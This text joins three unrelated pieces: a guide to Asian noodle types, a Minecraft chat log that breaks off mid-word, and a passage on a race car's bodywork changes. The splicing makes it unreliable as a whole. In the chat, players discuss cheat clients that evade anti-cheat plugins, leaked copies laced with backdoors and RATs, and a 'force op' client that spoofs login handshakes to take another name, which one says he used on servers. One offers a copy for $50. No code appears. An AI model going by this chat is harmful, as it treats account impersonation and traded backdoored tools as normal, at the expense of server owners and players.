Recipes: Wonton Noodle Soup With Chicken and Shiitakes
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Udon
One of the thickest noodles you'll find in a market, it's prized by the Japanese for its big, chewy bite. Udon are extremely popular and come in a variety of sizes and thicknesses. They're sold dried, fresh, and frozen.
Shape: Usually round, though sometimes oblong or square. Most varieties are about 12 inches long.
Texture: Dense and chewy.
How they're used: Often the centerpiece for hot soups, brothy Asian "casseroles," or the base of a large bowl with toppings of meat and vegetable toppings with a light soy sauce.
Recipes: Japanese Udon with Mushroom-Soy Broth with Stir-fried Mushroom and Cabbage; Yaki Udon With Shrimp; Udon Noodles with Bay Scallops and Baby Bok Choy; Tom Kha Udon Soup with Mushrooms
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Ramen
A classic Japanese (though Chinese-inspired) noodle made of wheat flour, salt, water, and an alkaline agent that turns the noodles especially wavy and springy. Despite their recent media attention, alkaline noodles are nothing new—just a wheat-flour noodle with the addition of "lye water," or kan sui (an alkaline mixture) which imparts a signature "jian" flavor. The alkaline salt turns the noodles yellow-ish and keeps them springy and firm in hot broths.
Though some manufacturers sell fresh ramen (like Sun Noodle), by far the most common version in grocery stores is inexpensive instant ramen, pre-cooked and fried to become shelf stable. Dirt cheap and darn delicious (though not as springy as their fresh counterparts), they're ready to eat after just a couple minutes of boiling.
Also called: Oil noodles, instant noodles, yi mien.
Shape: When sold dried, the noodles are compressed into a brick. As they cook they unfurl to about 12 inches long, with wavy kinks and curls.
Texture: Springy to the teeth, but that texture will soften after prolonged exposure to water. Ramen fans slurp their noodles as fast as possible to taste them at their textural best.
How they're used: Slurped in soup or broken up and eaten "raw" in salads or as a quick snack.
Recipes: Ramen Hacks: 30+ Easy Ways to Upgrade Your Instant Noodles; Rich and Creamy Tonkotsu Ramen Broth; Chicken Ramen; Miso Ramen With Crispy Pork and Burnt Garlic-Sesame Oil
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Soba
These iconic buckwheat noodles from Japan are full of protein and fiber. They're famous for a distinctly nutty, savory flavor in a strong, earthy buckwheat base. The higher percentage of buckwheat in the noodle, the higher the quality and price.
Shape: Long, thin and round, with a beige or light brown color. The noodles come in serving-sized bunches, often with a ribbon around them. They are straight sticks like short spaghetti, about 8 to 10 inches long.
Texture: Firm with an almost meaty texture that retains some bite even after cooking.
How they're used: These noodles are most popular served in a cold broth, or neat alongside one or two dipping sauces. Proper eating etiquette is to slurp them from chopsticks to mouth (some say the louder the better). They are also commonly stir fried or cooked into soup.
Recipes: Hot Soba; Soba Noodle Soup with Chicken, Tofu, and Bok Choy; Soba Noodles With Shrimp and Wakame; Make-Ahead Peanut Soba Noodles with Tofu and Pickled Bean Sprouts
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Somen
Japanese wheat flour noodles enriched with oil to make them thin and delicate. These elegant noodles are used in similar ways to soba but have a more refined, less nutty flavor.
Shape: Bundled in straight dried sticks like soba. Thin, round, and white, they are a little thicker than angelhair pasta.
Texture: Dense with some bite, but their thinness means they're also delicate.
How they're used: Like soba, usually served cold and neat with sauce for dipping on the side. But also used in some soups. As with soba, slurping loudly is respected.
Recipes: Cold Somen Noodles with Dipping Sauce
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Naengmyeon
Korean noodles made with a variety of starches, but most typically buckwheat that may be bolstered with potato, arrowroot, or kudzu starch. Long, thin, and springy, they have a chewier, more jelly-like bite than soba, but similarly excel in cold soups. The soups are so cold that they sometimes come with ice shaved into the bowl. Dried naengmyeon packages will often include broth flavor packets to add to cold liquid.
Also called: Raengmyeon, naengmyun, or mul naengmyeon.
Shape: Bundled in straight dried sticks like soba. Thin, round, and usually dark brown.
Texture: Buckwheat makes these noodles dense while other starches can add a jelly-like chew. They have a springy edge despite their softness when cooked.
How they're used: Most commonly served in a very cold broth (poultry or beef) with julienned vegetables, daikon radish, eggs and thin slices of meat or fish. Ingredients are served in a steel bowl with mustard oil or Korean chili paste (gochujang) to add heat.
Recipes: Korean Cold Noodle Soup
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Rice Noodles
Like wheat noodles, rice noodles come in a dizzying number of varieties. Loosely referred to as fun or fen in Cantonese, they're usually made with little more than rice flour and water. Most rice noodles are quite bland—beyond a subtle rice flavor they're mostly a carrier for bolder ingredients in a dish. They're more interesting for their texture, which can be thin and delicate or thick and soft.
Rice noodles cook up extremely fast. Fresh ones need only a minute or two while some dried versions need only to rehydrate, not boil, before further cooking. So when cooking them, be sure to have everything else ready so the noodles don't sit too long and bind together.
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] [CHAT] CHOCOLATE_BOMB: But 2013-12-20 23:42:07 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:42:10 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:42:11 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: It was an Axiom edit 2013-12-20 23:42:12 [CLIENT] [INFO] [CHAT] IronValleyGamer: lol 2013-12-20 23:42:15 [CLIENT] [INFO] [CHAT] Saved screenshot as 2013-12-20_23.42.14.png 2013-12-20 23:42:19 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: oh 2013-12-20 23:42:22 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: I though you said 2013-12-20 23:42:26 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:42:29 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:42:31 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: "yes i have it actually" 2013-12-20 23:42:33 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: misread 2013-12-20 23:42:37 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-20 23:42:58 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: welp 2013-12-20 23:43:00 [CLIENT] [INFO] [CHAT] IronValleyGamer: heard that client was pretty good 2013-12-20 23:43:03 [CLIENT] [INFO] [CHAT] [REDACTED] 2013-12-20 23:43:08 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: it was pretty much completely undetectable 2013-12-20 23:43:13 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: To NCP etc 2013-12-20 23:43:16 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-20 23:43:20 [CLIENT] [INFO] [CHAT] IronValleyGamer: but ncp updates often 2013-12-20 23:43:25 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and even replicated pvp really well 2013-12-20 23:43:39 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: The only way you could get caught with it is if you do something stupid 2013-12-20 23:43:53 [CLIENT] [INFO] [CHAT] IronValleyGamer: i might be wrong 2013-12-20 23:43:58 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: Or do something unfeasible 2013-12-20 23:44:07 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:44:12 [CLIENT] [INFO] [CHAT] IronValleyGamer: or something like that 2013-12-20 23:44:18 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: Most server admins cba to update plugins all the time lol 2013-12-20 23:44:20 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yeah 2013-12-20 23:44:21 [CLIENT] [SEVERE] Item entity 3844953 has no item?! 2013-12-20 23:44:21 [CLIENT] [SEVERE] Item entity 3844953 has no item?! 2013-12-20 23:44:24 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: JHoward 2013-12-20 23:44:27 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: developes NCP 2013-12-20 23:44:32 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: lol 2013-12-20 23:44:37 [CLIENT] [INFO] [CHAT] IronValleyGamer: lol 2013-12-20 23:44:44 [CLIENT] [INFO] [CHAT] IronValleyGamer: so he patched his own client? 2013-12-20 23:44:46 [CLIENT] [INFO] [CHAT] IronValleyGamer: lol 2013-12-20 23:45:16 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: no 2013-12-20 23:45:24 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: a plugin can only do so much 2013-12-20 23:45:31 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: or it leaks into legitimate gameplay 2013-12-20 23:45:49 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: He just made the client so good at mimicking actual gameplay 2013-12-20 23:45:51 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and mechanics 2013-12-20 23:45:56 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: That NCP wouldn't pick it up 2013-12-20 23:46:04 [CLIENT] [INFO] [CHAT] IronValleyGamer: i see 2013-12-20 23:46:23 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:46:28 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:46:29 [CLIENT] [INFO] [CHAT] IronValleyGamer: it's public now 2013-12-20 23:46:30 [CLIENT] [INFO] [CHAT] IronValleyGamer: yes 2013-12-20 23:46:34 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: acronym I'm guessing 2013-12-20 23:46:35 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB:? 2013-12-20 23:46:38 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:46:41 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: nah 2013-12-20 23:46:46 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: im not really that up to date 2013-12-20 23:46:49 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: with all that sit 2013-12-20 23:46:57 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:07 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:18 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:21 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:25 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:31 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:41 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:47:42 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:47:54 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:47:57 [CLIENT] [INFO] [CHAT] IronValleyGamer: yes 2013-12-20 23:47:59 [CLIENT] [INFO] [CHAT] Saved screenshot as 2013-12-20_23.47.58.png 2013-12-20 23:48:40 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:48:44 [CLIENT] [INFO] [CHAT] IronValleyGamer: don't try it on there 2013-12-20 23:48:46 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yeah 2013-12-20 23:48:47 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: well 2013-12-20 23:48:52 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: those servers also aren't shitty 2013-12-20 23:48:55 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-20 23:49:09 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: those servers are pretty much institutions 2013-12-20 23:49:10 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: business 2013-12-20 23:49:15 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: businesses* 2013-12-20 23:49:20 [CLIENT] [INFO] [CHAT] IronValleyGamer: about 80% of servers haven't patched it 2013-12-20 23:49:26 [CLIENT] [INFO] [CHAT] IronValleyGamer: all the major ones have 2013-12-20 23:49:30 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yeah 2013-12-20 23:49:39 [CLIENT] [INFO] [CHAT] IronValleyGamer: but a lot of people still don't know about it 2013-12-20 23:49:45 [CLIENT] [INFO] [CHAT] IronValleyGamer: so it goes unpatched 2013-12-20 23:49:55 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yep 2013-12-20 23:50:06 [CLIENT] [INFO] [CHAT] IronValleyGamer: wasn't allio the jhowards dev? 2013-12-20 23:50:09 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: no lol 2013-12-20 23:50:23 [CLIENT] [INFO] [CHAT] IronValleyGamer: i think that was a seperate client 2013-12-20 23:50:32 [CLIENT] [INFO] [CHAT] IronValleyGamer: which was called jhowards 2013-12-20 23:50:43 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: no 2013-12-20 23:50:45 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: no 2013-12-20 23:50:53 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: there's JHoward's client 2013-12-20 23:51:05 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: which he made by editting a really old private axiom leak 2013-12-20 23:51:07 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: then 2013-12-20 23:51:11 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: he stopped playing MC 2013-12-20 23:51:15 [CLIENT] [INFO] [CHAT] Saved screenshot as 2013-12-20_23.51.14.png 2013-12-20 23:51:22 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and it went unupdated for a while 2013-12-20 23:51:24 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: but before he left 2013-12-20 23:51:32 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: he game access to the source to a bunch of people 2013-12-20 23:51:35 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and 2013-12-20 23:51:47 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: some of the people that had the client 2013-12-20 23:51:50 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: sold copies 2013-12-20 23:51:57 [CLIENT] [INFO] [CHAT] IronValleyGamer: like allio? 2013-12-20 23:51:58 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: one copy got into the hands of Allio 2013-12-20 23:52:02 [CLIENT] [INFO] [CHAT] IronValleyGamer: oh 2013-12-20 23:52:06 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: from Joshua97367 2013-12-20 23:52:09 [CLIENT] [INFO] [CHAT] Saved screenshot as 2013-12-20_23.52.08.png 2013-12-20 23:52:13 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: he unobfuscated the code 2013-12-20 23:52:20 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: (it wasn't a source only copy) 2013-12-20 23:52:21 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and then 2013-12-20 23:52:24 [CLIENT] [INFO] [CHAT] IronValleyGamer: and sold it? 2013-12-20 23:52:25 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: took the back doors out 2013-12-20 23:52:27 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and sold it 2013-12-20 23:52:32 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and gave copies to his friends 2013-12-20 23:52:33 [CLIENT] [INFO] [CHAT] IronValleyGamer: it was backdoored? 2013-12-20 23:52:41 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: most of them were 2013-12-20 23:52:54 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: there were a couple different backdoors doe 2013-12-20 23:52:57 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: there was one 2013-12-20 23:52:59 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-20 23:53:04 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: where if you logged onto civcraft 2013-12-20 23:53:08 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: instaban 2013-12-20 23:53:11 [CLIENT] [INFO] [CHAT] IronValleyGamer: haha 2013-12-20 23:53:15 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and another 2013-12-20 23:53:16 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: where 2013-12-20 23:53:22 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: if somebody said 2013-12-20 23:53:25 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:53:26 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: "!ballsack" 2013-12-20 23:53:32 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: you disconnected/blew up 2013-12-20 23:53:44 [CLIENT] [INFO] [CHAT] IronValleyGamer: how would it get you banned though? 2013-12-20 23:53:57 [CLIENT] [INFO] [CHAT] IronValleyGamer: i know some hacks get you autobanned 2013-12-20 23:53:57 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: probably just spam the server with packets of easily detected hacks 2013-12-20 23:54:00 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:54:01 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: like godmode or regen 2013-12-20 23:54:07 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-20 23:54:21 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: i've a couple copies 2013-12-20 23:54:32 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: but most of them i keep zipped in a different partition of my hdd 2013-12-20 23:54:37 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:54:40 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: because there is some nasty shit in some of those 2013-12-20 23:54:51 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:54:56 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: some 2013-12-20 23:55:40 [CLIENT] [INFO] [CHAT] IronValleyGamer: i assume a lot of accounts were hacked on civcraft? 2013-12-20 23:55:47 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: a few of the people that distributed copies put rats/baaad backdoors in 2013-12-20 23:55:52 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: not necessarily 2013-12-20 23:56:00 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: the group of people that had copies 2013-12-20 23:56:04 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: was relatively small 2013-12-20 23:56:23 [CLIENT] [INFO] [CHAT] IronValleyGamer: from what i heard it stopped getting updated, but there are a few forks out there 2013-12-20 23:56:28 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: There are 2013-12-20 23:56:36 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: JHoward has long since left the MC community 2013-12-20 23:56:48 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: so he doesn't update it anymore 2013-12-20 23:56:54 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-20 23:57:00 [CLIENT] [INFO] [CHAT] IronValleyGamer: i heard allio stopped selling it 2013-12-20 23:57:04 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yep 2013-12-20 23:57:06 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: he has stopped 2013-12-20 23:57:14 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:57:22 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:57:34 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:57:39 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:57:46 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:57:52 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-20 23:57:55 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: oh yeah 2013-12-20 23:57:57 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: and 50$ 2013-12-20 23:58:04 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: gets you a backdoor free copy from me 2013-12-20 23:58:06 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: if you want 2013-12-20 23:58:09 [CLIENT] [INFO] [CHAT] IronValleyGamer: nah 2013-12-20 23:58:12 [CLIENT] [INFO] [CHAT] IronValleyGamer: i got my own client 2013-12-20 23:58:23 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB:'sall good 2013-12-20 23:58:26 [CLIENT] [INFO] [CHAT] IronValleyGamer: but what exploits does it have? 2013-12-20 23:58:43 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: not much has been added to it 2013-12-20 23:58:52 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: if you want stuff witha lot of different hacks 2013-12-20 23:58:59 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: then get weepcraft or some shit 2013-12-20 23:59:04 [CLIENT] [INFO] [CHAT] IronValleyGamer: weepcraft is shit 2013-12-20 23:59:08 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: ik 2013-12-20 23:59:12 [CLIENT] [INFO] [CHAT] IronValleyGamer: too messy 2013-12-20 23:59:18 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: flycoder's personal is nice doe 2013-12-20 23:59:28 [CLIENT] [INFO] [CHAT] IronValleyGamer: are you from HF? 2013-12-20 23:59:31 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yep 2013-12-20 23:59:36 [CLIENT] [INFO] [CHAT] IronValleyGamer: hmm really 2013-12-20 23:59:39 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: among other things 2013-12-20 23:59:43 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-20 23:59:51 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: I've only gone on like 2 times 2013-12-20 23:59:54 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: It's dead 2013-12-20 23:59:58 [CLIENT] [INFO] [CHAT] IronValleyGamer: nah 2013-12-21 00:00:02 [CLIENT] [INFO] [CHAT] IronValleyGamer: there was a reset 2013-12-21 00:00:03 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: Oh? 2013-12-21 00:00:10 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: Last time I went on was like a year ago 2013-12-21 00:00:13 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-21 00:00:14 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: nobody on 2013-12-21 00:00:20 [CLIENT] [INFO] [CHAT] [Server] Register your character at civrealms.com 2013-12-21 00:00:20 [CLIENT] [INFO] [CHAT] IronValleyGamer: plenty of people go on 2013-12-21 00:00:26 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: that's surprising 2013-12-21 00:00:39 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-21 00:00:58 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: so i had to make a new one in june 2013-12-21 00:01:01 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: :( 2013-12-21 00:01:11 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-21 00:01:13 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: no more l337 so i dont really go on there anymore 2013-12-21 00:01:28 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: now i play legit for the most part 2013-12-21 00:01:34 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:01:41 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: >sometimes 2013-12-21 00:01:48 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-21 00:02:03 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:02:03 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: you go on hf at all? 2013-12-21 00:02:06 [CLIENT] [INFO] [CHAT] IronValleyGamer: yes 2013-12-21 00:02:19 [CLIENT] [INFO] [CHAT] IronValleyGamer: it's mostly lq now 2013-12-21 00:02:20 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: [REDACTED] 2013-12-21 00:02:23 [CLIENT] [INFO] [CHAT] IronValleyGamer: no 2013-12-21 00:02:26 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: whew 2013-12-21 00:02:29 [CLIENT] [INFO] [CHAT] IronValleyGamer: and i don't know who those people are 2013-12-21 00:02:37 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: that's a privelage 2013-12-21 00:02:50 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: (cba to grammar this late) 2013-12-21 00:02:58 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:03:07 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: that's what it's been for damn near a year now 2013-12-21 00:03:10 [CLIENT] [INFO] [CHAT] IronValleyGamer: "how do i force op a server?" 2013-12-21 00:03:19 [CLIENT] [INFO] [CHAT] IronValleyGamer: "can i get force op pls" 2013-12-21 00:03:21 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: I've an old force op client that works lol 2013-12-21 00:03:25 [CLIENT] [INFO] [CHAT] IronValleyGamer: me too 2013-12-21 00:03:25 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yuo want? 2013-12-21 00:03:30 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: is yours 2013-12-21 00:03:31 [CLIENT] [INFO] [CHAT] IronValleyGamer: for 1.6.2 2013-12-21 00:03:40 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: the one that sends the server different handshakes 2013-12-21 00:03:45 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah i have that one 2013-12-21 00:03:51 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: to let you log on with a different name 2013-12-21 00:03:54 [CLIENT] [INFO] [CHAT] IronValleyGamer: used it on a few servers 2013-12-21 00:03:57 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: yeah 2013-12-21 00:03:57 [CLIENT] [INFO] [CHAT] IronValleyGamer: pretty fun 2013-12-21 00:04:02 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: pretty sheisty tbh 2013-12-21 00:04:04 [CLIENT] [INFO] [CHAT] IronValleyGamer: it worked mainly on spigot 2013-12-21 00:04:13 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: not a great success rate 2013-12-21 00:04:16 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-21 00:04:24 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: took so much efforrrttttttt 2013-12-21 00:04:37 [CLIENT] [INFO] [CHAT] IronValleyGamer: wish it had autojoin or something 2013-12-21 00:04:42 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: lol 2013-12-21 00:04:45 [CLIENT] [INFO] [CHAT] IronValleyGamer: sometimes you had to login around 20 times 2013-12-21 00:04:48 [CLIENT] [INFO] [CHAT] IronValleyGamer: then it kicked you 2013-12-21 00:05:12 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:05:17 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:05:25 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: it was 2013-12-21 00:05:27 [CLIENT] [INFO] [CHAT] IronValleyGamer: then skids started coming in 2013-12-21 00:05:29 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: then it went tos hit lol 2013-12-21 00:05:31 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: to shit* 2013-12-21 00:05:32 [CLIENT] [INFO] [CHAT] IronValleyGamer: yeah 2013-12-21 00:05:40 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:05:42 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: the minecraft section has always been pretty cancerous 2013-12-21 00:05:52 [CLIENT] [INFO] [CHAT] IronValleyGamer: yes 2013-12-21 00:06:05 [CLIENT] [INFO] [CHAT] IronValleyGamer: and the hacking sections are full of shit 2013-12-21 00:06:13 [CLIENT] [INFO] [CHAT] IronValleyGamer: and skids 2013-12-21 00:06:45 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: pretty much 2013-12-21 00:06:56 [CLIENT] [INFO] [CHAT] IronValleyGamer: [REDACTED] 2013-12-21 00:07:02 [CLIENT] [INFO] [CHAT] CHOCOLATE_BOMB: lol 2013-12-21 00:07:03 [CLIENT] [INFO] [CHAT] IronValleyGamer: and stop asking us dumb questions 2013-12-21 00:07:15 [CLIENT] [INFO] [CHAT] CHOCOL |
. The change of wheel arch at the front of the car is met with a change in ethos behind the wheel too (yellow), with the previous radius arch exhcanged for an almost straight leading edge, which is shamfered to lead airflow outbound from the wheel arch. Furthermore, where that section of bodywork previously ran almost the full length of the cars side at the base it is now a very short section that allows airflow collated inboard a more immediate exit. This has enlarged and reshaped the secondary control panel (blue) which is shaped similarly to the previous forward (yellow) panel on the the HD configuration, albeit with a smaller tail section. Meanwhile the shortenening of the forward panel means another control panel in the central section (red) mirrors the secondary panel from the HD configuration.The change of arch shape also means a shallower transition on the upper surface of the arch with the team moving and reshaping the bulge that sat alongside the mirror in the HD configuration, but houses the mirror in the LD configuration. This also leads to a small change in the length of the sidepod (purple) as more of the surface becomes exposed.Bodywork changes at the rear of the car are extensive too, you'll note a inboard duct has been added ahead of the rear wheels (just infront of the #7) which assists the flow around the rear wheel. A change in height and radius has been applied to the leading edge of the wheel arch (yellow). This elongates the flat top section, whilst widening the surface too (note the loss of the outbound sculpting). Meanwhile the mandatory arch cut out (green) has been reshaped, with a reduction in length and increase in width applied. The arch leads into a narrower rear end (purple), which can be determined by the diffuser that remains at full width 